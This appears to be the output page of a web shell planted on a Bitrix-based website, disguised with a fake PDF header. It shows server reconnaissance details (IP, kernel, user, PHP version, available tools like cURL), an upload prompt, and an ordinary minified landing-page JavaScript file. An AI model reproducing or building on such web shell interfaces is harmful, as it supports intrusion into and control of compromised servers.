%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.15.29.248 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/ |
Upload File : |
(function(){"use strict";BX.namespace("BX.Landing.UI.Factory");BX.Landing.UI.Factory.StyleFactory=function(e){this.frame=!!e.frame?e.frame:null;this.postfix=typeof e.postfix==="string"?e.postfix:""};function e(e,t,n,l,i){l=!!l?l:"";if(!!t&&typeof t==="object"){var o=Object.keys(t);t=o.map(function(e){return t[e]})}else if(typeof t==="string"){t=[t]}t.forEach(function(t){n.forEach(function(n){if(t+l!==n.value+l){e.classList.remove(n.value+l)}if(i){e.style[i]=null;[].slice.call(e.querySelectorAll("*")).forEach(function(e){e.style[i]=null})}});e.classList.add(t+l)})}BX.Landing.UI.Factory.StyleFactory.prototype={createField:function(t){var n=null;var l={title:t.title,selector:t.selector,contentRoot:BX.Landing.PageObject.getStylePanelContent(),style:t.style,format:e,frame:this.frame,property:t.property,pseudoElement:t.pseudoElement,pseudoClass:t.pseudoClass,items:t.items,postfix:this.postfix,onChange:t.onChange,onReset:t.onReset,help:t.help};if(t.type==="slider"||t.type==="range-slider"){n=new BX.Landing.UI.Field.Range(Object.assign(l,{type:t.type==="range-slider"?"multiple":null}))}if(t.type==="buttons"){n=new BX.Landing.UI.Field.ButtonGroup(Object.assign(l,{multiple:t.multiple===true}))}if(t.type==="display"){n=new BX.Landing.UI.Field.ButtonGroup(Object.assign(l,{multiple:true,className:"landing-ui-display-button-group"}))}if(t.type==="palette"){n=new BX.Landing.UI.Field.ColorPalette(l)}if(t.type==="color"){n=new BX.Landing.UI.Field.ColorField(Object.assign(l,{block:t.block,styleNode:t.styleNode,subtype:t.subtype}))}if(t.type==="list"&&t.style!=="font-family"){n=new BX.Landing.UI.Field.Dropdown(l)}if(t.style==="font-family"){n=new BX.Landing.UI.Field.Font(l)}return n}}})(); //# sourceMappingURL=style_factory.map.js